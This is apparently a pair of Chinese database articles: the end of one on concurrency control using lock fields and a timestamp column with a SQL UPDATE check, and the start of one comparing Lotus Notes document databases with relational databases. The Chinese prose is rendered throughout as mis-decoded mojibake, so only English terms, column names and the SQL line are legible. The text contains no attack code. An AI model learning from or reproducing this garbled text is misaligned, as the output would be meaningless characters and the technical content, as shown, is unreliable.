Èç¹ûÒ»¸öÓ¦ÓÃÖУ¬¿Í»§²éѯÕâ¸ö±íʱ£¬¿ÉÒÔÐ޸ıíµÄ¼Ç¼£¬ÄÇôΪÁË·ÀÖ¹±ðµÄ¿Í»§ÔÚ¸ÃÓû§±à¼­Ä³¼Ç¼ÆÚ¼äÐÞ¸ÄÕâ¸ö¼Ç¼£¬ÄÇô¾ÍÐèÒª¿Í»§ÔÚä¯ÀÀµ½¸Ã¼Ç¼µÄÊý¾Ýʱ£¬¸ø¸Ã¼Ç¼¼ÓÉÏËø£¨¼´½«Ëø×ֶθÄΪtrue£©£¬ÐÞ¸ÄÍê±ÏºóÊÍ·ÅËø£¨½«Ëø×ֶθÄΪfalse£©¡£±ðµÄ¿Í»§ÒªÐÞ¸ÄÕâ¸ö±íµÄ¼Ç¼µÄ»°¾ÍÏȼì²âһϸüǼÓÐûÓб»¼ÓËø£¬Èç¹ûÒѾ­¼ÓËø£¬Ôò²»ÄܽøÐÐÐ޸ġ£Èç¹ûËø×ֶοÕÏУ¬ÄÇôÊ×Ïȸø¸Ã¼Ç¼¼ÓËø£¬È»ºóÈ¡¼Ç¼¸ø¿Í»§ä¯ÀÀ¡¢±à¼­£¬ÔÚ´ËÆÚ¼ä±ðµÄ¿Í»§²»ÄÜÐ޸ļǼ¡£Õâ¾ÍºÜÓÐЧµÄ·ÀÖ¹Á˶ªÊ§Ð޸ġ£
ÉÏÃæÊÇÒ»ÖÖ³£Óõķ½·¨£¬µ«ÊÇÒ²²»ÊÇÍêȫûÓÐȱµã£¬Ëü¿ÉÄÜ»á²úÉúÕâÑùÒ»ÖÖ¸±×÷Ó㺵±Ò»¸öÓû§¾ö¶¨ÐÞ¸ÄÒ»¸ö¼Ç¼ʱ£¬¸Ã¼Ç¼±»Ëø¶¨£¬µÈ´ýÓû§Ð޸ģ¬µ«´ËʱÕýºÃÓû§À뿪ÁË£¬ÄÇôÕâÌõ¼Ç¼½«Ò»Ö±±»Ëø¶¨Ö±µ½Óû§Ìá½»£¨¿ÉÄÜÊǼ¸¸öСʱ֮ºóÁË£©»òÕ߻Ự³¬Ê±£¬ÄÇôÔÚÕâÒ»¶Îʱ¼äÄÚ±ðµÄÓû§¾Í²»¿ÉÒÔ¸ü¸ÄÕâÒ»Ìõ¼Ç¼£¬µ¼Ö²¢·¢¶ÈºÜµÍ¡£ÓÐÒ»¸öÈƹýÕâ¸öÎÊÌâµÄ½â¾ö°ì·¨¾ÍÊǽ«ä¯ÀÀµ½µÄ¼Ç¼¼Çµ½old_record£¨×Ô¶¨ÒåµÄ±äÁ¿£©ÖУ¬ÔÙ½«old_recordµÄÄÚÈÝ¿½±´µ½Ò»¸öмǼnew_record£¨×Ô¶¨ÒåµÄ±äÁ¿£©ÖУ¬Óû§±à¼­new_record£¬µ±Ìá½»new_recordʱ±È½Ïold_recordºÍÔ­ÏȵļǼ£¬Èç¹û²»Ò»Ñù£¬Ôò±íÃ÷ÒѾ­ÓÐÓû§ÐÞ¸ÄÁËÔ­ÏȵļǼ£¬´Ëʱ°Ñ¶Ônew_record×öµÄÐ޸ķÅÆú£»·´Ö®Ôò½«ÆäÄÚÈÝÌá½»¡£
Éϱߵķ½·¨»¹ÓÐÒ»¸öССµÄ²»×㣺ÔÚ×öоɼǼµÄ±È½ÏµÄʱºò±ØÐë±È½ÏÕûÌõ¼Ç¼£¬·Ñʱ¼ä¶øÇÒ³ÌÐòдÆðÀ´±È½ÏÂé·³¡£¿ÉÒÔ¿¼ÂÇÔÚÔ­ÏȵıíÖÐÔöÌíÒ»¸öʱ¼ä´ÁÁУ¨´Ëʱ¿ÉÒÔÈ¡ÏûlockÁУ©£¬ÄÇô´Ëʱ±íµÄ½á¹¹±äΪ£º
ÁÐÃû³Æ  ÁдúÂë  ÁÐÀàÐÍ
ÕÊ»§ºÅ  Id£¨¼üÖµÁУ© Char(10)
»§Ö÷  Uname Char£¨10£©
´æÈë½ð¶î  Mdeposit  Currency
Ö§³ö½ð¶î Mpayout  Currency  
´æ¿îÓà¶î  Mbalance Currency
ʱ¼ä´Á  Date  Datetime
µ±ä¯ÀÀ¼Ç¼ʱ½«Ê±¼ä´ÁÖµ¼Çµ½old_date£¨×Ô¶¨Òå±äÁ¿£©ÖУ¬ÔÙ½«¼Ç¼ÄÚÈݼǵ½Ò»¸öмǼnew_recordÖУ¬Óû§±à¼­new_record£¬µ±Ìá½»new_recordʱ±È½Ïold_dateºÍÔ­ÏȵļǼÖеÄʱ¼ä´Á£¬Èç¹û²»Ò»Ñù£¬Ôò±íÃ÷ÒѾ­ÓÐÓû§ÐÞ¸ÄÁËÔ­ÏȵļǼ£¬´Ëʱ°Ñ¶Ônew_record×öµÄÐ޸ķÅÆú£»·´Ö®Ôò½«ÆäÄÚÈÝÌá½»¡£¸üÐÂÓï¾äΪ£º
UPDATE acount SET (Mpayout,Mbalance,Date)=($Mpayout,$Mbalance,$Date)  
WHERE Key=Key_old and Date=$Date_old;
Î壮×ܽá
ÎÒÃÇͨ³£ËµµÄ²¢·¢¿ØÖÆÊÇÖ¸ÔÚDBMS£¨Êý¾Ý¿â¹ÜÀíϵͳ£©ÄÚ²¿½øÐеIJ¢·¢¿ØÖÆ¡£¶ø²¢·¢¿ØÖƵķ½·¨·Ç³£·á¸»,Ô¶²»Ö¹´Ë¡£¿ÉÒÔ½èÖúÓÚÊý¾Ý¿â±¾ÉíµÄÄÜÁ¦£¬Ò²¿ÉÒÔÀûÓÿª·¢¹¤¾ß£¬»¹¿ÉÒÔͨ¹ýµ÷Õû×Ô¼ºµÄ³ÌÐòÀ´ÊµÏÖ¡£ÔÚÊý¾Ý¿âÓ¦ÓÃÖУ¬½øÐв¢·¢¿ØÖƵķ½·¨¡¢ÊµÏÖ;¾¶¶àÖÖ¶àÑù¡£ÔÚÑ¡ÔñʱËùÒÀ¾ÝµÄ»ù±¾Ô­Ôò¾ÍÊÇ£ºÊý¾ÝÒ»ÖÂÐÔÒ»¶¨ÒªºÏºõÓ¦ÓõÄÐèÒª£¬ÔÚ´Ë»ù´¡ÉÏ£¬¾¡Á¿Ìá¸ß²¢·¢¶È¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-23 13:05
ÎĵµÊý¾Ý¿âÓë¹ØϵÊý¾Ý¿âµÄ±È½Ï

±±¾©º½¿Õº½Ìì´óѧ1-53ÐÅÏä ½¯ºéѸ£¨jianghx@990.net£©


ÕªÒª£ºËæ×ÅÓ¦ÓÃÁìÓòµÄ²»¶ÏÍØÕ¹ºÍ¶àýÌå¼¼Êõ, ÈËÃÇ·¢ÏÖ¹ØϵÊý¾Ý¿âµÄÐí¶àÏÞÖƺͲ»×㣬Òò¶øÊý¾Ý¿â¼¼Êõ½øÈëÁË"ºó¹ØϵÊý¾Ý¿âʱ´ú"¡£ÎĵµÊý¾Ý¿âÓÉ´ËÓ¦Ô˶øÉú¡£±¾ÎĸÅÒªµØ´ÓÊý¾Ý¸ñʽ¡¢Êý¾Ý¿â½á¹¹ºÍWEB·¢²¼Êý¾ÝÈý¸ö·½Ãæ±È½ÏÁËÎĵµÊý¾Ý¿âÓë¹ØϵÊý¾Ý¿âµÄÒìͬ£¬Í¬Ê±Çø±ðÁËÎĵµÊý¾Ý¿âÓë¹ýÈ¥´æ´¢Êý¾ÝµÄÎļþϵͳµÄ²»Í¬¡£
¹Ø¼ü´Ê£ºÊý¾Ý¿â Internet ÎĵµÊý¾Ý¿â WEBÊý¾Ý¿â·þÎñÆ÷
Ò». ¹ØϵÊý¾Ý¿âµÄÓÅÊƺÍÄ¿Ç°ÃæÁÙµÄÎÊÌâ
¡¡¡¡´Ó60Äê´úÄ©¿ªÊ¼, Êý¾Ý¿â¼¼Êõ¾­ÀúÁ˲ã´ÎÊý¾Ý¿â¡¢Íø×´Êý¾Ý¿âºÍ¹ØϵÊý¾Ý¿â¶ø½øÈëÊý¾Ý¿â¹ÜÀíϵͳ( DBMS)½×¶ÎÖÁ½ñ, Êý¾Ý¿â¼¼ÊõµÄÑо¿Ò²²»¶ÏÈ¡µÃ½øÕ¹¡£80Äê´ú, ¹ØϵÊý¾Ý¿â³ÉΪ·¢Õ¹µÄÖ÷Á÷, ¼¸ºõËùÓÐÐÂÍƳöµÄDBMS²úÆ·¶¼ÊǹØϵÐ͵ġ£¹ØϵÐÍÊý¾Ý¿âÔÚ¼ÆËã»úÊý¾Ý¹ÜÀíµÄ·¢Õ¹Ê·ÉÏÊÇÒ»¸öÖØÒªµÄÀï³Ì±®£¬ÕâÖÖÊý¾Ý¿â¾ßÓÐÊý¾Ý½á¹¹»¯¡¢×îµÍÈßÓà¶È¡¢½Ï¸ßµÄ³ÌÐòÓëÊý¾Ý¶ÀÁ¢ÐÔ¡¢Ò×ÓÚÀ©³ä¡¢Ò×ÓÚ±àÖÆÓ¦ÓóÌÐòµÈÓŵ㣬Ŀǰ½Ï´óµÄÐÅϢϵͳ¶¼Êǽ¨Á¢Ôڽṹ»¯Êý¾Ý¿âÉè¼ÆÖ®Éϵġ£
¡¡¡¡È»¶ø£¬Ëæ×ÅÍøÂç¼¼ÊõºÍÈí¼þ¼¼ÊõµÄ·ÉËÙ·¢Õ¹£¬ÌرðÊÇInternetºÍIntranet¼¼ÊõµÄ·¢Õ¹£¬Ê¹µÃ·Ç½á¹¹»¯Êý¾ÝµÄÓ¦ÓÃÈÕÇ÷À©´ó¡£¹ØϵÊý¾Ý¿â´Ó1970Äê·¢Õ¹ÖÁ½ñ,Ë书ÄÜÈÕÇ÷ÍêÉÆ,µ«¶ÔÊý¾ÝÀàÐ͵Ĵ¦ÀíÖ»¾ÖÏÞÓÚÊý×Ö¡¢×Ö·ûµÈ,¶Ô¶àýÌåÐÅÏ¢µÄ´¦ÀíÖ»ÊÇÍ£ÁôÔÚ¼òµ¥µÄ¶þ½øÖÆ´úÂëÎļþµÄ´æ´¢¡£È»¶ø£¬Ëæ×ÅÓû§Ó¦ÓÃÐèÇóµÄÌá¸ß¡¢Ó²¼þ¼¼ÊõµÄ·¢Õ¹ºÍIntranet/InternetÌṩµÄ¶à²ÊµÄ¶àýÌå½»Á÷·½Ê½,Óû§¶Ô¶àýÌå´¦ÀíµÄÒªÇó´Ó¼òµ¥µÄ´æ´¢ÉÏÉýΪʶ±ð¡¢¼ìË÷ºÍÉîÈë¼Ó¹¤,ÕýÊÇÓû§ºô»½³ö"ͨÓÃ"Êý¾Ý¿â·þÎñÆ÷À´´¦ÀíÕ¼ÐÅÏ¢×ÜÁ¿70%µÄÉùÒô¡¢Í¼Ïñ¡¢Ê±¼äÐòÁÐÐźźÍÊÓƵµÈ¸´ÔÓÊý¾ÝÀàÐÍ¡£¾ÝÓйØÊý¾Ý,1996Äê,È«ÇòÊý¾Ý¿âÊг¡µÄÏúÊÛ¶îÒѽӽü40ÒÚÃÀÔª,Ô¤¼Æµ½2000Äê,Êý¾Ý¿âÊг¡ÏúÊ۶´ïµ½80ÒÚÃÀÔª¡£¾Þ´óµÄÔö³¤Ç±Á¦À´×Ô¸´ÔÓÊý¾ÝÀàÐ͵Ĵ¦ÀíÐèÇó,ʹ´¦Àí¸´ÔÓÊý¾ÝÀàÐ͵Ä"³¬Ã½Ìå"Êý¾Ý¿â½«³ÉΪ¸÷¹«Ë¾Í¶×ÊÑз¢µÄÖص㡣


¶þ. ȫеÄ"ÎĵµÊý¾Ý¿â"¸ÅÄî
´Ó1989ÄêÆð£¬Lotusͨ¹ýÆäȺ¼þ²úÆ·NotesÌá³öÁËÊý¾Ý¿â¼¼ÊõµÄȫиÅÄî-"ÎĵµÊý¾Ý¿â"£¬ÎĵµÊý¾Ý¿âÇø±ðÓÚ´«Í³µÄÆäËüÊý¾Ý¿â£¬ËüÊÇÓÃÀ´¹ÜÀíÎĵµ¡£ÔÚ´«Í³µÄÊý¾Ý¿âÖÐ,ÐÅÏ¢±»·Ö¸î³ÉÀëÉ¢µÄÊý¾Ý¶Î£¬¶øÔÚÎĵµÊý¾Ý¿âÖУ¬ÎĵµÊÇ´¦ÀíÐÅÏ¢µÄ»ù±¾µ¥Î»¡£Ò»Îĵµ¿ÉÒԺܳ¤¡¢ºÜ¸´ÔÓ¡¢¿ÉÒÔÎ޽ṹ£¬Óë×Ö´¦ÀíÎĵµÀàËÆ¡£
¡¡¡¡ÎĵµÊý¾Ý¿âÓëÎå¡¢ÁùÊ®Äê´ú¹ÜÀíÊý¾ÝµÄÎļþϵͳ²»Í¬£¬ÎĵµÊý¾Ý¿âÈÔÊôÓÚÊý¾Ý¿â·¶³ë¡£Ê×ÏÈ£¬ÎļþϵͳÖеÄÎļþ»ù±¾É϶ÔÓ¦ÓÚij¸öÓ¦ÓóÌÐò¡£µ±²»Í¬µÄÓ¦ÓóÌÐòËùÐèÒªµÄÊý¾ÝÓв¿·ÖÏàͬʱ£¬Ò²±ØÐ뽨Á¢¸÷×ÔµÄÎļþ£¬¶ø²»Äܹ²ÏíÊý¾Ý£¬¶øÎĵµÊý¾Ý¿â¿ÉÒÔ¹²ÏíÏàͬµÄÊý¾Ý¡£Òò´Ë£¬Îļþϵͳ±ÈÎĵµÊý¾Ý¿âÊý¾ÝÈßÓà¶È¸ü´ó£¬¸üÀË·Ñ´æ´¢¿Õ¼ä£¬ÇÒ¸üÄÑÓÚ¹ÜÀíά»¤¡£Æä´Î£¬ÎļþϵͳÖеÄÎļþÊÇΪijһÌض¨Ó¦Ó÷þÎñµÄ£¬ËùÒÔ£¬ÒªÏë¶ÔÏÖÓеÄÊý¾ÝÔÙÔö¼ÓһЩеÄÓ¦ÓÃÊǺÜÀ§Äѵģ¬ÏµÍ³²»ÈÝÒ×À©³ä¡£Êý¾ÝºÍ³ÌÐòȱ·¦¶ÀÁ¢ÐÔ¡£¶øÎĵµÊý¾Ý¿â¾ßÓÐÊý¾ÝµÄÎïÀí¶ÀÁ¢ÐÔºÍÂß¼­¶ÀÁ¢ÐÔ£¬Êý¾ÝºÍ³ÌÐò·ÖÀë¡£
ÎĵµÊý¾Ý¿âÒ²²»Í¬ÓÚ¹ØϵÊý¾Ý¿â,¹ØϵÊý¾Ý¿âÊǸ߶Ƚṹ»¯µÄ,¶øNotesµÄÎĵµÊý¾Ý¿âÔÊÐí´´½¨Ðí¶à²»Í¬ÀàÐ͵ķǽṹ»¯µÄ»òÈÎÒâ¸ñʽµÄ×Ö¶Î,Óë¹ØϵÊý¾Ý¿âµÄÖ÷Òª²»Í¬ÔÚÓÚ,Ëü²»Ìṩ¶Ô²ÎÊýÍêÕûÐԺͷֲ¼ÊÂÎñµÄÖ§³Ö,µ«ºÍ¹ØϵÊý¾Ý¿âÒ²²»ÊÇÏ໥ÅųâµÄ,ËüÃÇÖ®¼ä¿ÉÒÔÏ໥½»»»Êý¾Ý,´Ó¶øÏ໥²¹³ä¡¢À©Õ¹¡£


Èý. ¹ØϵÊý¾Ý¿âºÍÎĵµÊý¾Ý¿âµÄÒìͬ
ÏÂÃæ´ÓÈý¸ö·½Ãæ±È½ÏÁ½ÖÖÊý¾Ý¿âµÄÒìͬ£º
1. ¸ñʽÎı¾/¶àýÌ壨Rich Text/Multimedia£© ÔÚÐÅϢʱ´ú£¬ËùÓÐÐÅÏ¢´óÌåÉÏ¿ÉÒÔ·ÖΪÁ½ÀࣺһÀàÐÅÏ¢Äܹ»ÓÃÊý¾Ý»òͳһµÄ½á¹¹¼ÓÒÔ±íʾ¡£ÀýÈ磬³É±¾¡¢·ÑÓá¢ÈËÔ±¡¢¹¤×ÊÒÔ¼°Ô±¹¤Òµ¼¨µÈ£¬¶¼¿ÉÒÔÓÃÊý×Ö»òÎÄ×ÖÀ´ÃèÊö»ò±í´ï¡£ÕâÀàÐÅÏ¢¾ßÓÐÏàͬµÄ²ã´Î»òÍøÂç½á¹¹£¬ÎÒÃdzÆ֮Ϊ½á¹¹»¯Êý¾Ý£»¶øÁíÒ»ÀàÐÅÏ¢¸ù±¾ÎÞ·¨ÓÃÊý×Ö»òÕßͳһµÄ½á¹¹±íʾ£¬ÀýÈ磬ͼÏó¡¢ÉùÒôµÈ£¬ÎÒÃdzÆ֮Ϊ·Ç½á¹¹»¯Êý¾Ý¡£ÕâЩ·Ç½á¹¹»¯Êý¾Ý¼È¿ÉÒÔÊÇÒ»¶Î°üº¬´óÁ¿¸½¼ÓÐÅÏ¢£¨ÈçÅÅ°æÐÅÏ¢£©µÄÎÄ×ÖÐÅÏ¢£¬Ò²¿ÉÄÜÊÇÒ»¶ÎÉùÒô¡¢Í¼Ïó£¬ÉõÖÁÊÇÓ°Ïñ¡£¶ÔÓڽṹ»¯Êý¾ÝºÍ·Ç½á¹¹»¯Êý¾ÝµÄ¹ØϵÈçͼËùʾ£¬·Ç½á¹¹»¯Êý¾Ý°üÀ¨½á¹¹»¯Êý¾Ý£¬µ«ÓÖ²»Ö¹Êǽṹ»¯Êý¾Ý£»½á¹¹»¯Êý¾ÝÊôÓڷǽṹ»¯Êý¾Ý£¬ÊǷǽṹ»¯Êý¾ÝµÄÌØÀý¡£Ò»°ãÀ´Ëµ£¬ÔÚÈËÃǵÄÈÏʶ֮ÖУ¬¹ØϵÊý¾Ý¿â×îÖ÷ÒªµÄÌØÕ÷¾ÍÊÇÊý¾ÝµÄ½á¹¹»¯¡£È»¶ø£¬Ëæ×ÅÍøÂç¼¼ÊõºÍÈí¼þ¼¼ÊõµÄ·ÉËÙ·¢Õ¹£¬ÌرðÊÇInternetºÍIntranet¼¼ÊõµÄ·¢Õ¹£¬Ê¹µÃ·Ç½á¹¹»¯Êý¾ÝµÄÓ¦ÓÃÈÕÇ÷À©´ó¡£¹ØϵÊý¾Ý¿âÊǸ߶Ƚṹ»¯µÄ£¬ÕâÖÖÊý¾Ý½á¹¹»¯Ê¹¹ØϵÊý¾Ý¿â¾ßÓÐÈßÓà¶È×îµÍ¡¢³ÌÐòÓëÊý¾Ý¶ÀÁ¢ÐԽϸߡ¢Ò×ÓÚÀ©³ä¡¢Ò×ÓÚ±àÖÆÓ¦ÓóÌÐòµÄÌص㡣µ«ÊÇ£¬Ëæ×ÅÓ¦ÓÃÁìÓòµÄ²»¶ÏÍØÕ¹, ΪÂú×ãÓ¦ÓöÔÊý¾Ý´¦Àí²»¶Ï"¿Á¿Ì"µÄÒªÇó, ÈËÃÇ¿ªÊ¼·¢ÏÖ¹ØϵÊý¾Ý¿âµÄÐí¶àÏÞÖƺͲ»×ã¡£ÒòΪÎĵµÊý¾Ý¿âµÄ»ù±¾ÔªËؾÍÊÇÎĵµ±¾Éí£¬¶øÊý¾Ý¿âÖеÄÎĵµ¿ÉÒÔͬʱ°üº¬½á¹¹»¯µÄºÍ·Ç½á¹¹»¯µÄÐÅÏ¢£¬ËùÒÔ£¬ÎĵµÊý¾Ý¿âÄܹ»´æ´¢ºÍ¹ÜÀíÀàËÆÎĵµÕâÑùµÄ·Ç½á¹¹»¯Êý¾Ý¡£ÌرðÊÇ£¬NotesµÄ¶ÔÏó¿âÊÇÒ»¸ö·Ç³£ÀíÏëµÄÉÌÒµÐÅÏ¢´æ´¢Æ÷£¬¿ÉÓÃÓÚ¸ßЧµØ´æ´¢¡¢´«²¥¡¢·ÖÅäºÍ¹ÜÀíÕâÀàÐÅÏ¢¡£ÕâÀàÐÅϢͨ³£¾ßÓзḻµÄÊý¾ÝÀàÐÍ£¬Èç±í¸ñ£¨¿ÉÒÔÊÇ´Óij¸ö¹ØϵÊý¾Ý¿â»òµç×Ó±íÈí¼þÖеõ½µÄ£©¡¢¸ñʽ»¯Îı¾¡¢WWWµÄÒ³Ã桢ͼÐΡ¢OLE¶ÔÏó¡¢»òɨÃèµÄͼÏóÒÔ¼°´«Õæ¼þ¡¢ÉùƵ»òÊÓƵÐźÅÕâÑùµÄ¶àýÌåÐÅÏ¢¡£


2. ÔڽṹÉÏ ¹ØϵÊý¾Ý¿âÊÇÓ¦ÓÃÊýѧ·½·¨À´´¦ÀíÊý¾Ý¿âÊý¾ÝµÄ£¬ÆäÊý¾ÝÄ£ÐÍÒ²Êǽ¨Á¢ÔÚÊýѧ¸ÅÄî»ù´¡Éϵģ¬ÔÚ¹ØϵģÐÍÖУ¬Êý¾ÝÔÚÓû§¹ÛµãϵÄÂß¼­½á¹¹¾ÍÊÇÒ»ÕŶþά±í¡£¶øLotus NotesÊÇÒ»¸öÎĵµÊý¾Ý¿â¹ÜÀíϵͳ£¬ÎĵµÊý¾Ý¿âµÄ»ù±¾ÔªËؾÍÊÇÎĵµ¡£ÕâÀïµÄÎĵµºÍ¹ØϵÊý¾Ý¿âÖеļǼÏàËÆ¡£NotesÎĵµµÄ½á¹¹ÊÇÓÉ±íµ¥£¨form£©¶¨ÒåµÄ£¬¶ø±íµ¥ÓÉÒ»×é¸÷ʽ¸÷ÑùµÄ×Ö¶ÎÓò×é³É¡£
¡¤ Óò£¨Field£©¡¢Óò£¨Domain£©ºÍ×ֶΣ¨Field£©
¡¡¡¡ÔÚ¹ØϵÊý¾Ý¿âÖУ¬Óò£¨Domain£©ÊÇÊôÐÔÖµµÄ¼¯ºÏ£¬È磺´óÓÚ0СÓÚ150µÄÕýÕûÊý£¬³¤¶ÈСÓÚ25µÄ×Ö·û´®¼¯ºÏµÈµÈ¡£¶øÔÚÎĵµÊý¾Ý¿âÖУ¬Óò£¨Field£©µÄ¸ÅÄî³öÏÖÔÚ±íµ¥¶ÔÏóÖУ¬ÓòÊÇ±íµ¥ÉÏ´æ´¢Êý¾ÝµÄµ¥¸öÔªËØ£¬Óò¾ö¶¨ÁËÒ»¸ö¶ÀÁ¢µÄÎĵµÄÜ°üº¬Ê²Ã´Êý¾Ý¡£Ëä¶þÕßµÄÖÐÎÄÒëÎÄÏàͬ£¬µ«Æäʵ¼ÊÒâÒåºÍ×÷ÓÃÏà²îǧÀï¡£·´¶øÔÚÎĵµÊý¾Ý¿âÖÐÓòµÄ¸ÅÄîÓë¹ØϵÊý¾Ý¿âÖеÄ×ֶΣ¨Field£©ÏàÀàËÆ¡£
¡¤ ÌõÄ¿£¨Item£©ºÍÊôÐÔ£¨Attribute£©
¡¡¡¡ÔÚ¹ØϵÊý¾Ý¿âÖУ¬ÓÐÊôÐÔ£¨Attribute£©µÄ¸ÅÄ¼´¶þά±íÖеÄÿһÁгÆΪһ¸öÊôÐÔ£¬¸øÿһÁÐÆðÒ»¸öÃû³Æ¼´ÊôÐÔÃû¡£¶øÔÚÎĵµÊý¾Ý¿âÖУ¬¾ÍûÓÐ"ÊôÐÔ"£¬ÎĵµÓµÓеÄÊÇÌõÄ¿£¨Item£©£¬ÌõÄ¿ÊÇÖ¸´æ´¢ÓÚÎĵµÖеÄÈÎÒâÊý¾Ý²¿·Ö¡£Ã¿Ò»¸öÌõÄ¿´ú±íÎĵµÖÐÒ»¶ÎÊý¾Ý£¬ÔÚÓû§½çÃæÖУ¬ÊÇͨ¹ý±íµ¥ÖеÄÓòÀ´ÏÔʾÎĵµÖеÄÌõÄ¿µÄ¡£¶þÕßËäÃüÃû²»Í¬£¬µ«±ÊÕßÈÏΪ´Ó"ÊôÐÔ"µÄ½Ç¶È¸üÈÝÒ×Àí½âÎĵµÊý¾Ý¿âÖÐÌõÄ¿µÄÒâÒå¡£
¡¤ ÊÓͼ£¨View£©
¡¡¡¡ÔÚ¹ØϵÊý¾Ý¿âºÍÎĵµÊý¾Ý¿âÖУ¬¾ùÓÐÊÓͼµÄ¸ÅÄî¡£ÔÚ¹ØϵÊý¾Ý¿âÖУ¬ÊÓͼÊÇÖ¸´ÓÒ»¸ö»ò¼¸¸ö»ù±¾±í£¨»òÊÓͼ£©µ¼³öµÄ±í¡£ÊÓͼºÍ»ù±¾±í²»Í¬£¬ÊÓͼÊÇÒ»¸öÐé±í£¬¼´ÊÓͼËù¶ÔÓ¦µÄÊý¾Ý²»Êµ¼Ê´æ´¢ÔÚÊý¾Ý¿âÖУ¬Êý¾Ý¿âÖÐÖ»´æ´¢ÊÓͼµÄ¶¨Ò壨´æÔÚÊý¾Ý×ÖµäÖУ©¡£ÔÚÎĵµÊý¾Ý¿âÖУ¬Óû§Í¨¹ýNotesÊÓͼä¯ÀÀÎĵµ¡£ÊÓͼÊǺܷ½±ãµÄĿ¼£¬Óû§¿ÉÒÔ´ÓÖп´µ½¹ØÓÚÎĵµµÄ¸ÅÒªÐÅÏ¢ºÍÎĵµµÄ״̬£¬È»ºó´æÈ¡Ìض¨µÄNotesÎĵµ¡£ÎĵµÊý¾Ý¿âÖÐÎĵµ¿ÉÒÔÔÚÊÓͼÖÐÏÔʾÆðÈ«²¿»ò²¿·ÖÄÚÈÝ£¬Í¨¹ýÊÓͼ£¬Óû§¿ÉÒÔ¿´Ò»×éÎĵµµÄ¹Ø¼üÓò£¬²¢¿É°´Ä³Ò»×¼Ôò¶ÔÏÔʾµÄÐÅÏ¢½øÐзÖÀàºÍÅÅÐò¡£ÊµÖÊÉÏ£¬¶þÕßÂß¼­ÉϷdz£ÏàËÆ£¬¼´ÊÓͼËù¶ÔÓ¦µÄÊý¾Ý¾ù²»Êµ¼Ê´æ´¢ÔÚÊý¾Ý¿âÖУ¬Êý¾Ý¿âÖÐÖ»´æ´¢ÊÓͼµÄ¶¨Òå¡£


3. WEBÊý¾Ý¿â ½üÄêÀ´ÍøÂçÌåϵ½á¹¹¾­ÀúÁËÒ»´Î´ÎÖØ´ó±äǨ,¿Í»§»ú/·þÎñÆ÷½á¹¹Ô½À´Ô½Á÷ÐÐÁË,IntranetÒÔ¾ªÈ˵ÄËÙ¶ÈÔڶ̶ÌÒ»ÄêÄÚѸËÙÂûÑÓ,ÃæÁÙеĸñ¾Ö,ÈçºÎ¼òÒ×µØʵÏÖ"¿Í»§»ú/·þÎñÆ÷"Á¬½ÓÓë"Web/Intranet"Á¬½Ó³ÉΪÊý¾Ý¿â¹ÜÀíÈËÔ±¹Ø×¢µÄ½¹µã¡£¼ÆËã»ú¼¼ÊõºÍÍøÂç¼¼ÊõµÄ·¢Õ¹Ê¹ÒÔÍøÂçΪÖÐÐĵļÆËãÈÕÒæµÃµ½ÖØÊÓ£¬WWWϵͳºÍÊý¾Ý¿â³ÉΪÍøÂ绯ÐÅÏ¢·þÎñµÄ»ù´¡¡£Èç¹ûÄÜ°ÑÎĵµÊý¾Ý¿âͬWWW·þÎñÆ÷Á¬½ÓÆðÀ´,¾Í¿ÉÒÔ´Óä¯ÀÀÆ÷ÖмìË÷Îĵµ¡£ÕâÖÖÒ»Ì廯µÄÐÅÏ¢ÍøÂçϵͳ:Êý¾Ý¿â+WWW·þÎñÆ÷,±ã³ÉΪÏÂÒ»´úInternet¿ª·¢µÄÐÂÁìÓò¡£Ä¿Ç°£¬ÔÚWebÉÏÒ»¸öµäÐ͵ÄÊý¾Ý¿âÓ¦ÓóÌÐòÓ¦°üÀ¨Èý¸ö²¿·Ö:Webä¯ÀÀÆ÷¡¢HTTP ·þÎñÆ÷ºÍWebÊý¾Ý¿â·þÎñÆ÷¡£¶ÔÓÚÒ»°ãµÄ¹ØϵÐÍÊý¾Ý¿â£¬ÊµÏÖWebÊý¾Ý¿âµÄÓ¦ÓÃͨ³£ÓÐÁ½ÖÖ·½·¨£ºÒ»ÖÖÊÇWeb·þÎñÆ÷ÌṩÖмä¼þÁ¬½ÓWeb·þÎñÆ÷ÓëÊý¾Ý¿â·þÎñÆ÷£»ÁíÒ»ÖÖÊÇ°ÑÓ¦ÓóÌÐòÏÂÔص½¿Í»§¶ËÖ±½Ó·ÃÎÊÊý¾Ý¿â¡£×î³£ÓõÄÖмä¼þ¼¼ÊõÓÐͨÓÃÍø¹Ø½Ó¿Ú£¨CGI£©ºÍÓ¦ÓóÌÐò±à³Ì½Ó¿Ú£¨API£©Á½ÖÖ¡£CGI³ÌÐòȱÏÝÔÚÓÚCGI½Ó¿Ú²»Ö§³ÖÓû§ÓëÊý¾Ý¿â¼äµÄ³ÖÐø»¥²Ù×÷£¬ÔÙ¾ÍÊÇCGIµÄЧÂʵÍ,ÇÒÐèҪͬʱÔËÐжà¸öCGI³ÌÐò¡£Óû§Ã¿´ÎÁ¬ÖÁ·þÎñÆ÷ʱ,·þÎñÆ÷¶¼Òª´´½¨Ò»¸öÊÂÎñ»òÔËÐÐCGI³ÌÐòµÄÒ»¸ö¿½±´¡£ÕâÑù¶ÔÓÚÒ»¸ö¸´ÔÓµÄÓ¦ÓûòÓжà¸öÓû§·ÃÎÊʱ,¾Í»á¼ÓÖØ·þÎñÆ÷µÄ¸ºµ£¡£APIÔںܴó³Ì¶ÈÉÏ¿Ë·þÁËCGIµÄȱµã£¬µ«Æä¼æÈÝÐÔ²îºÍ¿ª·¢ÄѶȴóÒ²Èùã´ó¿ª·¢ÈËÔ±Íû¶øÈ´²½¡£¿Í»§¶Ë·ÃÎÊÊý¾Ý¿âÖ÷Òª°üÀ¨Java ScriptºÍÊý¾Ý¿âÁ¬½ÓÆ÷£¨IDC£©µÈ¡£ÓÃJava ScriptºÍIDC¿ª·¢WebÊý¾Ý¿âËä¼òµ¥µ«Í¬Ê±Ò²´æÔÚ¹¦ÄÜÓÐÏÞ¡¢²»ÄÜÍêÈ«¿ØÖÆÆä¹ý³ÌµÈȱµã¡£ËùÒÔËüÃÇÒ²ÎÞ·¨Ê¤Èνϸ´ÔÓµÄWebÊý¾Ý¿âµÄ¿ª·¢¡£ÄѵÀ¾ÍûÓÐÒ»¸ö¿ª·¢Ïà¶ÔÈÝÒס¢¹¦ÄÜÇ¿´óÇÒ¸ßЧµÄWebÊý¾Ý¿âµÄ¿ª·¢·½·¨Âð£¿ÓУ¬´ð°¸ÊÇ-Lotus Notes¡£Lotus 